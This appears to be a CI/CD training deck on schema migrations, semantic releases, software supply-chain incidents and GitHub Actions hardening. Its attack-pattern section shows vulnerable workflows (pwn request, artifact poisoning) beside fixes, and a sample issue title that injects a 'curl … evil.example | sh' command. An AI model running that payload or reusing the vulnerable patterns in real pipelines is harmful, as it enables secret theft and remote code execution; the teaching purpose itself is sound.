During any rollout old and new code run together. The schema must satisfy both at every moment.

1 · Expand

  • Add the new column / table, nullable or with a default.
  • No reads or writes yet.
  • Safe for the old code: it ignores the column.
→

2 · Dual write

  • Release N+1 writes old and new columns.
  • Backfill existing rows in batches.
  • Reads still use the old column.
→

3 · Switch reads

  • Release N+2 reads the new column.
  • Old column still written for rollback safety.
  • Watch errors and data checks.
→

4 · Contract

  • Release N+3 stops writing the old column.
  • A later migration drops it.
  • Only after no running version uses it.

Renaming a column in one migration breaks every pod still running the previous version during the rollout. Split it into expand → migrate → contract across several releases.

Expand / contract

Example: rename users.name to users.full_name

Four small releases instead of one breaking one.

-- release 1.6.0 (expand)
ALTER TABLE users ADD COLUMN full_name text;

-- release 1.6.0 app code: write both
--   UPDATE users SET name = $1, full_name = $1 WHERE id = $2

-- backfill job (batches, idempotent)
UPDATE users SET full_name = name
 WHERE full_name IS NULL AND id BETWEEN $start AND $end;

-- release 1.7.0 app code: read full_name, still write both
-- release 1.8.0 app code: write only full_name

-- release 1.9.0 (contract), after 1.7.x is gone everywhere
ALTER TABLE users DROP COLUMN name;

Rules of thumb

  • Additive changes are safe; destructive ones (drop, rename, type narrowing) need the full sequence.
  • Large-table changes: check whether the engine rewrites or locks the table (indexes concurrently, batched backfills).
  • Constraints (NOT NULL, foreign keys) come after the backfill.
  • Every step is its own deploy and can be paused for days.
  • Track the sequence in the issue so the contract step is not forgotten.
Running migrations

Migrations as a job, not as part of app startup

One process applies migrations, once, before the new code takes traffic.

Options

  • Kubernetes: a Job run as an Argo CD PreSync hook (GitOps deck ch 7) or a pipeline step before the deploy.
  • ECS: a one-off run-task with the new image before updating the service.
  • Lambda: a dedicated migration function invoked by the pipeline or a CodeDeploy PreTraffic hook.
  • Tools: Flyway, Liquibase, golang-migrate, Alembic, framework migrators.

Requirements

  • Idempotent: running twice is a no-op (the tool tracks applied versions).
  • Locked: the tool takes a lock so two runners cannot apply concurrently.
  • Time-boxed: a deadline so a stuck migration fails the deploy instead of hanging.
  • Uses its own DB credentials with DDL rights; the app user should not have them.
  • Logs which version was applied, for audit.

Avoid

  • Running migrations in every pod's entrypoint: N pods race for the lock, and slow migrations fail health checks.
  • Down migrations you have never tested.
  • Mixing schema and large data migrations in one step.
Rollback

Roll back or roll forward?

Code rolls back easily. Data and schema usually do not.

What can be undone

ChangeRollback path
App code onlyRoll back (previous digest, alias, git revert)
Config / flagRevert or flip the flag
Additive schema (expand)Leave it; old code ignores it
Destructive schema (contract)Restore from backup or PITR — slow, loses writes
Data rewritten in placeOnly from backup or an audit trail
Messages already published in a new formatConsumers must handle both formats

Practice

  • Make rollback a code-only operation by keeping schema changes backward compatible.
  • Prefer roll forward (a fix release) once a destructive step has run.
  • Take a snapshot or confirm PITR before contract migrations.
  • Write the rollback plan in the PR for risky changes.
  • Rehearse: run the rollback in staging at least once.
Chapter 7 · Part 7.4

Releases

Semantic Versioning, Conventional Commits, automated release notes, and a hotfix flow that fits trunk-based development.

SemVer

Semantic Versioning: MAJOR.MINOR.PATCH

A version number is a promise about compatibility to whoever depends on you.

Rules (semver.org)

  • MAJOR: incompatible API change.
  • MINOR: backward-compatible new functionality.
  • PATCH: backward-compatible bug fix.
  • Pre-release: 1.5.0-rc.1 sorts before 1.5.0.
  • Build metadata: 1.5.0+sha.3f2c1a9 is ignored for precedence.
  • 0.y.z: anything may change; the public API is not stable yet.

What is "the API" for a service?

  • HTTP/gRPC contracts, event schemas, CLI flags, config keys, Helm values.
  • Removing a field or endpoint → MAJOR.
  • New optional field or endpoint → MINOR.
  • Internal refactor, bug fix → PATCH.
  • Many teams version internal services by date or SHA instead; SemVer matters most for libraries, charts and public APIs.

Versions and images

  • Tag images with the Git SHA on every build and with vX.Y.Z on release.
  • Deploy by digest; tags are for humans.
  • With ECR tag immutability, a v1.5.0 tag can never be moved (ch 5).
  • Never deploy latest.
Conventional Commits

Commit messages that machines can read

A small convention lets tools compute the next version and write the changelog.

<type>[optional scope][!]: <description>

[optional body]

[optional footer(s)]

feat(api): add /v1/greetings/{lang}           -> MINOR
fix: return 404 instead of 500 for unknown id  -> PATCH
perf: cache templates                          -> PATCH (tool default)
docs: explain HELLO_GREETING                   -> no release
feat(api)!: drop /v0 endpoints                 -> MAJOR

refactor: split handler into packages

BREAKING CHANGE: config key GREETING renamed   -> MAJOR
  to HELLO_GREETING

Making it stick

  • Common types: feat, fix, docs, refactor, perf, test, build, ci, chore, revert.
  • Only feat and fix (and breaking changes) are defined by the spec to affect SemVer; tools decide the rest.
  • Squash-merge PRs and lint the PR title, since it becomes the commit on main.
  • Lint in CI with commitlint or a PR-title check; make it a required check.
  • Scopes are free text: pick a small, documented list.
Release automation

release-please: a release PR that keeps itself up to date

Every push to main updates one open "release PR" with the next version and changelog. Merging it creates the tag and GitHub Release.

# .github/workflows/release-please.yml
on:
  push:
    branches: [main]
permissions:
  contents: write
  pull-requests: write
jobs:
  release-please:
    runs-on: ubuntu-latest
    outputs:
      released: ${{ steps.rp.outputs.release_created }}
      tag: ${{ steps.rp.outputs.tag_name }}
    steps:
      - id: rp
        uses: googleapis/release-please-action@<sha-of-v4.x>  # v4.x
        with:
          release-type: go
  publish:
    needs: release-please
    if: needs.release-please.outputs.released == 'true'
    uses: ./.github/workflows/build.yml        # reusable (ch 3)
    with: {version: "${{ needs.release-please.outputs.tag }}"}

Flow

  • Merge feat: / fix: PRs to main as usual.
  • release-please opens or updates chore(main): release 1.6.0 with the changelog.
  • A human merges the release PR when ready → tag v1.6.0 + GitHub Release.
  • The publish job builds and tags the image v1.6.0 from that commit.
  • Multi-package repos: a manifest config file lists each package path and release type.
  • Tags created with GITHUB_TOKEN do not trigger other workflows; that is why publish is chained here, or use a GitHub App token.
Release automation

release-please vs semantic-release

Same input (Conventional Commits), different control points.

release-pleasesemantic-release
TriggerPush to main updates a release PREvery push to the release branch can publish
Human gateMerging the release PRNone by default (fully automatic)
ChangelogCommitted CHANGELOG.md in the release PRRelease notes; changelog file via a plugin
EcosystemMany release types (go, node, python, java, simple, helm…)Plugin-based, strongest for npm; plugins for others
ConfigAction inputs or release-please-config.json + manifest.releaserc with plugins (commit-analyzer, release-notes-generator, github…)
Good forServices and charts where you choose when to releaseLibraries that publish on every releasable merge

Either way: the version is derived from commits, never typed by hand, and the release job runs from the tagged commit.

Hotfix flow

Hotfixes with trunk-based development

Fix on main first, then cherry-pick to a short-lived release branch cut from the tag that is in production.

mainv1.5.0feat …fix: bugv1.6.0git switch -c release/1.5.x v1.5.0release/1.5.xcherry-pick -xv1.5.1same fixProduction runs v1.5.0, main already has unreleased features → ship only the fix as v1.5.1, built by the same pipeline.

Rules

  • The fix lands on main first (or at the same time), so it is never lost.
  • Release branches are short-lived and only take cherry-picks.
  • The same reusable build workflow runs on release/* and tags.

If main is releasable

  • Skip the branch: release main as v1.6.0 with the fix.
  • Feature flags make this the common case.
  • Release candidates: tag v1.6.0-rc.1, deploy to staging, promote the same digest.
Common mistakes

Deployment and release mistakes

Each of these has caused a real outage or a lost release.

Deploy

  • Rolling update with no readiness probe: broken pods take traffic.
  • maxUnavailable left at the default on a small Deployment: capacity drops during every release.
  • Canary without metrics that can tell good from bad: it is just a slow rollout.
  • Deploying tags (:v1.5.0, :latest) instead of digests.

Handoff and approvals

  • Deploy role trusted for every branch and environment.
  • Personal access token used to push to the config repo.
  • Promotion to prod rebuilds the image instead of reusing the tested digest.
  • Required reviewers configured, but the approver can approve their own run.

Schema and versions

  • Rename or drop a column in the same release that stops using it.
  • Migrations run in every pod at startup.
  • Versions typed by hand; changelog written at the last minute.
  • Hotfix made only on the release branch and lost in the next release.
Self-check

Deployment strategies and release: can you answer these?

Explain the answer and name the exact field, setting or command.

Strategies

  • Which two Deployment fields keep full capacity during a rolling update?
  • When is blue/green better than canary, and what does it cost?
  • How does CodeDeploy roll back a Lambda canary?
  • What is the difference between deploying and releasing a feature?

Handoff

  • Why can GITHUB_TOKEN not open a PR in gitops-lab, and what do you use instead?
  • Why write a digest instead of a tag in the promotion PR?
  • Which environment rule stops someone approving their own deployment?
  • What extra AWS setup does push-to-EKS need besides the IAM role?

Schema and releases

  • List the four expand/contract steps for a column rename.
  • Why should migrations not run in the app entrypoint?
  • Which commit message produces a MAJOR release?
  • How do you ship a fix for v1.5.0 when main holds unreleased features?

Practice: Lab 7 in Hands-on labs — rolling vs blue/green on kind, and a CI job that opens a promotion PR instead of deploying.

Chapter 8

Supply chain threats

Where attackers get in between a commit and a running workload, what happened in the incidents everyone cites, and the attack patterns that target CI itself.

Chapter 8 · Part 8.1

Threat model

The SLSA threat model: every stage from producer to consumer can be attacked, and every dependency carries the same threats again.

SLSA threat model

Threats along the supply chain, labeled (A) to (I)

SLSA clusters threats by where they occur. Each dependency has its own (A)–(I) chain, recursively.

(A) Producerwho writes it(B) Authoring& reviewing(C) Sourcecode mgmt(D) Buildparameters(E) Buildprocess(F) Artifactpublication(G) Distributionchannel(H) Packageselection(I) Usagehow it runsDependencieseach one has its own (A)–(I)Source trackBuild trackreview, history, branch protectionisolated builds, provenance, verificationConsumers verify (ch 12)

SLSA does not claim to address every threat here — (A) a malicious producer and (I) misuse such as default credentials are largely out of scope. Labels follow the SLSA v1.2 threats overview (v1.0 used an older (A)–(H) list).

SLSA threat model

Example per stage and the control that answers it

Map each threat to a control you will build later in this deck.

StageExample threatReal-world exampleControl (chapter)
(A) ProducerMaintainer is malicious or coercedxz utils (2024)Hard; diversity of maintainers, review, build from source (8.2)
(B) Authoring & reviewingChange merged without real reviewInsider pushes to mainRulesets, required reviews, CODEOWNERS (3, 9)
(C) Source code managementSource host compromisedPHP git server (2021)Signed commits, Source track levels (11)
(D) External build parametersBuild run with unofficial parameters or branchRelease built from a fork branchProvenance shows the parameters; verify them (11, 12)
(E) Build processBuild system altered to inject codeSolarWinds (2020)Ephemeral isolated runners, Build L3 provenance (9, 11)
(F) Artifact publicationModified artifact uploadedCodecov uploader (2021)Sign + attest at build; verify checksums (10, 11)
(G) Distribution channelRegistry or tag repointedtj-actions tags (2025)Digests, SHA pinning, signature checks (9, 12)
(H) Package selectionWrong package pickedTyposquatting, dependency confusionScoped names, lockfiles, dependency review (6, 8.3)
Trust boundaries

Where trust changes inside one pipeline

Every arrow crosses a boundary. An attacker who controls the left side of an arrow tries to influence the right side.

Fork / outside PRuntrusted codeMaintainer pushreviewed codeWorkflow runrunner + GITHUB_TOKENSecretsrepo / env / orgOIDC → AWS roledeploy, ECR pushCaches & artifactsshared between runsRegistry (ECR)images, chartsConfig repo / clustersproductionThird-party actionscode you executeDependenciesnpm, Go modules, base images

Red arrows carry untrusted input into a context that holds secrets or write access. Most CI attacks in 8.3 are one of these arrows.

Attacker goals

What attackers want from CI/CD

Pipelines are attractive because they hold credentials and produce what customers run.

Steal credentials

  • Cloud keys, registry tokens, package-publish tokens, PATs.
  • Printed to logs, sent over the network, or read from runner memory.
  • Defense: no long-lived secrets (OIDC), egress control, masking is not enough.

Tamper with artifacts

  • Inject code during build or before publish.
  • Replace an image or package in the registry.
  • Defense: isolated builds, signatures and provenance verified at deploy.

Persist and spread

  • Backdoor workflows, self-hosted runners or caches.
  • Use stolen publish tokens to infect more packages (worms).
  • Defense: ephemeral runners, short-lived tokens, review of workflow changes.

Assume one dependency or action will eventually be compromised. The goal is a small blast radius and fast detection, not perfect prevention.

Chapter 8 · Part 8.2

Case studies

Six incidents, each with its entry point, blast radius and the control that would have stopped or limited it.

Case study

SolarWinds Orion (2020): the build system itself

Stage (E): the attacker changed what the build produced, not the source code.

What happened

  • Attackers gained access to SolarWinds' build environment.
  • Malware inserted the SUNBURST backdoor into Orion during the build.
  • The trojanized updates were signed and shipped through the normal update channel.
  • SolarWinds reported that up to about 18,000 customers installed affected versions.

Why it worked

  • Source code in the repository looked clean.
  • The signature proved "built by SolarWinds", which was true.
  • Build servers were long-lived and reachable.
  • No independent record of what inputs went into the build.

Controls

  • Ephemeral, isolated build environments (SLSA Build L3).
  • Provenance generated by the build platform, not by the build script.
  • Reproducible builds: an independent rebuild should produce the same bytes.
  • Signing keys unreachable from build steps.
Case study

Codecov Bash Uploader (2021): a script everyone downloaded

Stage (F): a published artifact was modified after it was built.

What happened

  • An attacker used a credential leaked from Codecov's Docker image creation process.
  • They modified the Bash Uploader script served to customers.
  • Customer CI jobs ran curl … | bash; the altered script sent environment variables to the attacker.
  • The change went unnoticed for about two months (January to April 2021).

Blast radius

  • Every CI pipeline that downloaded the script during that window.
  • CI environments held tokens, cloud keys and Git credentials.
  • Victims had to rotate every secret exposed to those jobs.

Controls

  • Verify checksums or signatures of downloaded tools; never curl | bash unverified.
  • Use pinned actions or packages instead of live scripts.
  • Keep secrets out of job environments that do not need them.
  • Short-lived credentials (OIDC) limit what a leak is worth.
Case study

xz utils backdoor (2024): the patient maintainer

Stage (A): a contributor spent years earning trust, then shipped a backdoor (CVE-2024-3094).

What happened

  • A contributor using the name "Jia Tan" became a co-maintainer after a long period of helpful work and pressure from sock-puppet accounts.
  • Releases 5.6.0 and 5.6.1 contained a backdoor in liblzma.
  • Part of the malicious build logic was only in the release tarballs, not in the Git repository.
  • On some Linux distributions sshd loaded liblzma indirectly, making remote access possible.
  • Andres Freund found it while investigating slow SSH logins, before it reached most stable distributions.

Why it is hard

  • The producer itself was the attacker: signatures and provenance were "valid".
  • Tarball contents differed from the reviewed source.
  • An overworked single maintainer was the target.

Controls

  • Build from the source repository, not from release tarballs; compare the two.
  • Reproducible builds and independent rebuilders.
  • Watch dependency health (OpenSSF Scorecard, maintainer count).
  • Minimize what runs in privileged processes (fewer dependencies loaded by sshd).
Case study

tj-actions/changed-files (March 2025): a moved tag

Stage (G) for every consumer: version tags of a popular action were repointed to a malicious commit (CVE-2025-30066).

What happened

  • An attacker gained write access and updated many existing version tags of tj-actions/changed-files to a malicious commit.
  • Workflows using @v35, @v44 and other tags ran the new code automatically.
  • The payload dumped secrets from runner memory and printed them, encoded, into the workflow log.
  • In public repositories those logs were readable by anyone.
  • The access was likely gained through an earlier compromise of reviewdog/action-setup (CVE-2025-30154).

Blast radius

  • Thousands of repositories referenced the action.
  • Any secret available to the job: PATs, npm tokens, cloud keys.
  • A chain: one compromised action led to another.

Controls

  • Pin actions to a full commit SHA (tags can move; SHAs cannot).
  • Org policy that requires SHA pinning and can block known-bad actions (ch 9).
  • Egress monitoring on runners (it was detected through anomalous network calls).
  • OIDC instead of stored secrets; least-privilege GITHUB_TOKEN.
Case study

Shai-Hulud (September 2025): a self-replicating npm worm

Stages (F) and (H): stolen publish tokens turned victims into distributors.

How it spread

  • A malicious version of an npm package ran a script at install time.
  • It harvested secrets on the machine (it used TruffleHog): npm tokens, GitHub tokens, cloud credentials.
  • It exfiltrated them, including by creating public GitHub repositories named "Shai-Hulud".
  • With a stolen npm token it published infected versions of the victim's own packages — the worm step.
  • Hundreds of packages were affected in the first wave.

Shai-Hulud 2.0 (November 2025)

  • A larger wave with a new payload (Bun-based) that ran in the preinstall phase.
  • Reported to plant GitHub Actions workflows as backdoors and to spread to tens of thousands of repositories.
  • Later variants executed on import or CLI use, so --ignore-scripts alone stopped being enough.

Controls

  • Short-lived publish credentials: npm trusted publishing with OIDC instead of long-lived tokens; 2FA for publishing.
  • Lockfiles + npm ci; delay adopting brand-new versions (cooldown in Dependabot or Renovate).
  • No secrets on developer machines and CI jobs that install packages.
  • Watch for new public repos, new workflows and unexpected publishes.
Case studies

Six incidents, one table

Entry point → what it touched → the cheapest control that would have limited it.

IncidentYearEntry pointBlast radiusKey control
SolarWinds2020Build environmentSigned product updatesIsolated builds + provenance
Codecov2021Leaked credential → modified downloadSecrets in customer CIVerify downloads; short-lived creds
xz utils2024Malicious co-maintainerLinux distributions (caught early)Build from source repo; reproducible builds
tj-actions/changed-files2025Repointed action tagsSecrets in workflow logsSHA pinning + egress monitoring
Shai-Hulud2025Stolen npm tokensDeveloper and CI secrets; more packagesTrusted publishing, cooldowns, no long-lived tokens
Shai-Hulud 2.02025Same, largerRepos, workflows, machinesSame + monitor new workflows and runners

Pattern: the attacker rarely breaks crypto. They reuse a credential that lived too long or a reference that could move.

Chapter 8 · Part 8.3

Attack patterns in CI

The concrete workflow mistakes attackers look for, each with vulnerable and fixed YAML.

Pwn request

pull_request_target + checkout of the PR = remote code execution

pull_request_target runs in the context of the base repository: secrets and a write-capable token are available.

# VULNERABLE
on: pull_request_target   # base repo privileges
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with:
          # attacker-controlled code:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test  # runs PR scripts
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
# FIXED: untrusted code runs without privileges
on: pull_request   # forks: read-only token, no secrets
permissions: {contents: read}
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - run: npm ci && npm test

# Need to label or comment on fork PRs?
# pull_request_target WITHOUT checking out PR code,
# and only call the API (labels, comments).

Rule: never build, install or run code from the pull request in a pull_request_target (or issue_comment) workflow. Linters such as zizmor flag this pattern (ch 9).

Script injection

Untrusted text inside ${{ }} in a run: step

Expressions are expanded before the shell runs, so a crafted title or branch name becomes shell code.

# VULNERABLE
on: issues
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: ${{ github.event.issue.title }}"

# title = a"; curl -sS https://evil.example/x | sh; echo "
# → the shell sees three commands
# FIXED: pass data through the environment
on: issues
permissions: {issues: write}
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - env:
          TITLE: ${{ github.event.issue.title }}
        run: echo "New issue: $TITLE"   # quoted variable, not code

Attacker-controlled fields

  • Issue and PR titles and bodies, comment bodies.
  • Branch names (github.head_ref), commit messages, author names.
  • Review bodies, label names from forks, artifact contents.

Also applies to

  • actions/github-script inputs: pass via env / process.env, never interpolate into the script.
  • Composite actions that interpolate inputs into run:.
  • GITHUB_ENV / GITHUB_OUTPUT writes of untrusted multi-line text.
Cache poisoning

Poisoned caches restored by privileged workflows

Caches are shared by key. Untrusted code that can write a cache key a release job later restores can tamper with the release.

How it happens

  • A workflow that runs untrusted code in the default-branch context (for example pull_request_target or issue_comment that checks out PR code) saves a cache.
  • Caches saved on the default branch are restorable by other branches and workflows.
  • A release workflow restores that cache (dependencies, build outputs) and ships it.
  • Fork PRs on pull_request write caches scoped to the PR ref, which the default branch does not restore — the danger is privileged contexts.

Defenses

  • Never run untrusted code in workflows that can write default-branch caches.
  • Release and publish workflows: no caches, or caches written only by the release workflow itself with distinct keys.
  • Cache only what lockfiles fully describe; rebuild what you ship.
  • Treat restored caches as untrusted input in release jobs.
# release workflow: build clean
jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
      - uses: actions/setup-go@<sha>
        with:
          go-version-file: go.mod
          cache: false     # no shared cache
      - run: go build -trimpath ./...
Artifact poisoning

workflow_run that trusts artifacts from a PR run

workflow_run runs with base-repo privileges after another workflow — including one triggered by a fork PR — completes.

# VULNERABLE: privileged follow-up workflow
on:
  workflow_run:
    workflows: [ci]
    types: [completed]
jobs:
  report:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
      - uses: actions/download-artifact@<sha>
        with:
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      # artifact unpacked over the workspace:
      # a PR can ship its own ./scripts/report.sh
      - run: ./scripts/report.sh
# FIXED: artifact is data, in its own directory
jobs:
  report:
    runs-on: ubuntu-latest
    permissions: {pull-requests: write}
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: actions/download-artifact@<sha>
        with:
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
          path: ${{ runner.temp }}/pr-artifact
      - run: |
          # validate: expect one small JSON file, parse it as data
          jq -e '.coverage | numbers' \
            "$RUNNER_TEMP/pr-artifact/coverage.json"
          ./scripts/report.sh "$RUNNER_TEMP/pr-artifact/coverage.json" 

Check github.event.workflow_run.event and the head repository when the follow-up must behave differently for fork PRs.

Dependency attacks

Dependency confusion and typosquatting

Stage (H): the package manager picks the wrong package — because of its name, or because of where it looked.

Dependency confusion

  • Your private package acme-auth exists only in an internal registry.
  • An attacker publishes acme-auth with a higher version on the public registry.
  • A resolver that checks both registries may install the public one.
  • Defenses: scoped/namespaced names (@acme/auth), one registry per scope, upstream rules (for example AWS CodeArtifact package origin controls), lockfiles with integrity hashes.

Typosquatting and lookalikes

  • reqeusts, colourama, electorn — one typo away from a real package.
  • Also: abandoned names re-registered, and AI-suggested names that never existed.
  • Defenses: dependency review on PRs, allowlists for new direct dependencies, OpenSSF Scorecard/age checks, cooldown before adopting brand-new packages.

Go-specific notes

  • Go modules are fetched by import path (a URL), so classic confusion is less likely.
  • go.sum + the checksum database (sum.golang.org) detect changed module contents.
  • Set GOPRIVATE for internal modules so they skip the public proxy and checksum DB.
  • Typosquatted repository paths are still a risk: review new imports.
Stolen credentials

Long-lived tokens: the prize in most incidents

Codecov, tj-actions and Shai-Hulud were all about harvesting credentials that stayed valid after they leaked.

# VULNERABLE: static keys, broad scope, no expiry
- run: aws s3 sync dist/ s3://hello-site
  env:
    AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
    AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
- run: gh pr create --repo acme/gitops-lab --fill
  env:
    GH_TOKEN: ${{ secrets.ADMIN_PAT }}   # classic PAT, all repos

# FIXED
permissions: {id-token: write, contents: read}
steps:
  - uses: aws-actions/configure-aws-credentials@<sha>
    with:
      role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
      aws-region: ap-northeast-1          # ~1 h credentials
  - id: app
    uses: actions/create-github-app-token@<sha>
    with:
      app-id: ${{ vars.PROMOTER_APP_ID }}
      private-key: ${{ secrets.PROMOTER_APP_KEY }}
      repositories: gitops-lab            # one repo, expires in 1 h

Replace

Long-lived credentialShort-lived alternative
AWS access keysOIDC → IAM role (ch 4)
Classic PATGitHub App installation token; fine-grained PAT with expiry if unavoidable
npm / PyPI publish tokenTrusted publishing (OIDC)
Registry passwordOIDC to ECR; short-lived login tokens
Cluster kubeconfig secretOIDC → role → EKS access entry, or GitOps pull
Runner persistence

Self-hosted runners that outlive a job

A non-ephemeral runner keeps files, processes and credentials between jobs. One malicious job can wait for the next privileged one.

Attack

  • Public repo uses a self-hosted runner.
  • Attacker opens a fork PR (or a first-time contributor runs, if approvals are lax).
  • The job installs a background process or modifies tools on the host.
  • The next job — a release with secrets — runs on the same host and is compromised.
  • The runner may also sit inside the private network, next to databases.

Defenses

  • Do not use self-hosted runners for public repositories.
  • Ephemeral runners: one job per runner (--ephemeral), then destroy — ARC on EKS does this (ch 2).
  • Runner groups: limit which repositories and workflows may use a runner group.
  • Require approval for workflows from outside contributors.
  • Separate runner pools for untrusted CI and for release/deploy.

Signals

  • Unexpected long-running processes after a job.
  • Runners registered that nobody created (Shai-Hulud 2.0 reports included rogue runners).
  • Outbound connections from runners to unknown hosts.
  • Changes to ~/.bashrc, tool caches or /etc/hosts on the runner.
Attack patterns

Pattern → precondition → fix

Use this as a review checklist for every workflow change.

PatternPreconditionFixChapter
Pwn requestpull_request_target / issue_comment + PR code executedpull_request for untrusted code; privileged workflow never runs PR code9
Script injectionUntrusted field inside ${{ }} in run: or a scriptPass via env:; quote the variable2, 9
Cache poisoningUntrusted code can save caches restored by release jobsNo shared caches in release workflows9
Artifact poisoningworkflow_run unpacks PR artifacts into the workspace and runs themDownload to a temp dir, validate as data9
Moved tagThird-party action referenced by tagFull SHA pins + update bot + policy9
Dependency confusion / typosquatMixed registries, unscoped names, no reviewScopes, lockfiles, dependency review, cooldowns6, 10
Stolen long-lived tokenStatic keys or PATs in secretsOIDC, GitHub App tokens, trusted publishing4
Runner persistenceReused self-hosted runner, untrusted jobsEphemeral runners, runner groups, separate pools2, 9
Common mistakes

Threat-model mistakes

Each one turns a single compromised component into a full breach.

Workflows

  • Using pull_request_target "to get secrets for fork PRs".
  • Interpolating github.event.* text into shell.
  • Release jobs restoring caches written by any branch.
  • workflow_run jobs that execute downloaded artifacts.

Dependencies and actions

  • Actions referenced by tag or branch.
  • New dependencies merged without anyone looking at them.
  • Internal package names that are unscoped.
  • Installing brand-new package versions within minutes of release.

Credentials and runners

  • Classic PATs and AWS access keys stored as secrets.
  • One secret shared by every workflow in the org.
  • Self-hosted runners on public repositories.
  • Believing log masking protects secrets from a malicious step.
Self-check

Supply chain threats: can you answer these?

Explain the answer and name the stage (A)–(I) or the exact workflow feature.

Threat model

  • Which SLSA stage did SolarWinds attack, and why did code signing not help?
  • Why does SLSA say each dependency has its own (A)–(I)?
  • Which threats does SLSA largely leave out of scope?
  • Draw the trust boundaries of your own pipeline.

Case studies

  • What made the xz utils backdoor invisible in the Git repository?
  • How did a moved tag in tj-actions leak secrets, and where did they end up?
  • Why did Shai-Hulud spread by itself, and which control breaks the loop?
  • What should a Codecov customer have rotated?

Patterns

  • Why is pull_request safe for fork PRs while pull_request_target is not?
  • Rewrite run: echo "${{ github.head_ref }}" safely.
  • How can a workflow_run job be poisoned by a PR artifact?
  • Name two ways to stop dependency confusion.

Practice: Lab 8 in Hands-on labs — reproduce a script injection and a pwn request in a throwaway repo, then fix both.

Chapter 9

Hardening GitHub Actions

Pin what you run, give every job the least it needs, watch what runners talk to, and let linters enforce it.

Chapter 9 · Part 9.1

Pin and update

A tag is a pointer anyone with write access can move. A commit SHA is not.

Why pin

Tags are mutable; commit SHAs are not

uses: owner/action@v4 resolves the tag at run time. Whoever controls the action repo controls your job.

What a tag reference trusts

  • Every maintainer of the action repo, today and in the future.
  • Their tokens, their CI, their 2FA hygiene.
  • Every action they call (composite actions can call other actions unpinned).
  • Branch references (@main) are worse: every push changes what you run.

tj-actions/changed-files (Mar 2025)

  • Attacker repointed existing version tags to a malicious commit.
  • The payload dumped runner memory, so secrets appeared in workflow logs.
  • Public repos leaked secrets to anyone reading logs.
  • Workflows pinned to an older full SHA were not affected.

What a SHA pin gives you

  • The exact code you reviewed runs every time.
  • A moved tag cannot change your workflow.
  • Updates arrive as reviewable PRs (Dependabot / Renovate).
  • Still review: a SHA from a fork network can look legitimate — use SHAs from the action's own repo.
Pinning syntax

Full-length SHA with a version comment

The comment is for humans and for Dependabot/Renovate, which update both the SHA and the comment.

steps:
  # bad: mutable tag / branch
  - uses: actions/checkout@v7
  - uses: some-org/some-action@main

  # good: full 40-character commit SHA + version comment
  - uses: actions/checkout@<sha-of-v7.0.1>      # v7.0.1
    with:
      persist-credentials: false
  - uses: docker/build-push-action@<sha-of-v6.x> # v6.x.y

  # container actions and service images: pin by digest too
  - uses: docker://alpine@sha256:<digest>
services:
  postgres:
    image: postgres:16@sha256:<digest>

Rules of thumb

  • Pin every third-party action, including GitHub-owned ones, for consistency.
  • Only full 40-character SHAs count; short SHAs are rejected by policy and are ambiguous.
  • Local actions (uses: ./.github/actions/x) are pinned by your own commit.
  • Reusable workflows: uses: org/repo/.github/workflows/ci.yml@<sha>.
  • Look inside composite actions you depend on: unpinned uses: inside them is your risk too.
  • Find the SHA: git ls-remote https://github.com/actions/checkout refs/tags/v7.0.1 (for annotated tags use the ^{} line).

Version numbers in examples are illustrative; pin the SHA of the current release (for example checkout v7.0.1, setup-go v7.0.0 in Nov 2026).

Policy

Enforce pinning and block bad actions with the allowed-actions policy

Since Aug 2025 the policy can require full-length SHA pins and block specific actions, at enterprise, org and repo level.

Settings → Actions → General → Policies

  • Allow only selected actions: GitHub-created, verified creators, and an explicit list.
  • Require actions to be pinned to a full-length commit SHA: unpinned uses: fails the run.
  • Block an action or version with a ! prefix, for example during an incident.
  • Enterprise policy constrains what orgs and repos may set.
# allowed actions / reusable workflows
actions/checkout@*
actions/setup-go@*
docker/*
aws-actions/configure-aws-credentials@*
my-org/*

# block a compromised action (incident)
!tj-actions/changed-files@*

Roll-out: find unpinned uses: with zizmor (section 32), let Dependabot/Renovate open pin PRs, then turn on the SHA requirement org-wide. Keep a runbook entry: "block action X" is a one-line policy change.

Keeping pins fresh

Dependabot for the github-actions ecosystem, with a cooldown

Pinned SHAs go stale. Automate updates, but let new releases age a few days before you adopt them.

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /        # workflows + local actions
    schedule:
      interval: weekly
    groups:
      actions:
        patterns: ["*"] # one PR for all bumps
    cooldown:
      default-days: 7   # let releases age
      # semver-*-days keys: package ecosystems only
      # (gomod, npm, pip...), not github-actions

Why a cooldown, and caveats

  • Most malicious releases are found and pulled within days; waiting 3–7 days keeps you out of the first wave.
  • For github-actions only default-days applies; semver-major/minor/patch-days work for package ecosystems such as gomod.
  • Dependabot does not raise security alerts for SHA-pinned actions: rely on version-update PRs and advisories.
  • Renovate alternative: helpers:pinGitHubActionDigests + minimumReleaseAge.
  • Review an action bump like any dependency: read the changed files, not just the changelog.
What changed in 2026

Platform controls: shipped vs planned

Check the GitHub changelog before relying on any of these; dates below are from GitHub's own posts.

ControlStatus (Nov 2026)What it does
SHA pinning requirement and ! blocklistAvailable since Aug 2025Fails unpinned uses:; blocks named actions/versions
Immutable OIDC subject claimsAnnounced Apr 2026; default for new/renamed/transferred repos since 15 Jul 2026sub carries owner and repo IDs (chapter 4)
Workflow execution protections (rulesets)GA on 17 Sep 2026Allowlist who can trigger workflows and which events can start them
Default rule disabling pull_request_target on public repos without an event policyAnnounced; enforcement scheduled for 2 Dec 2026Closes the most common pwn-request entry point
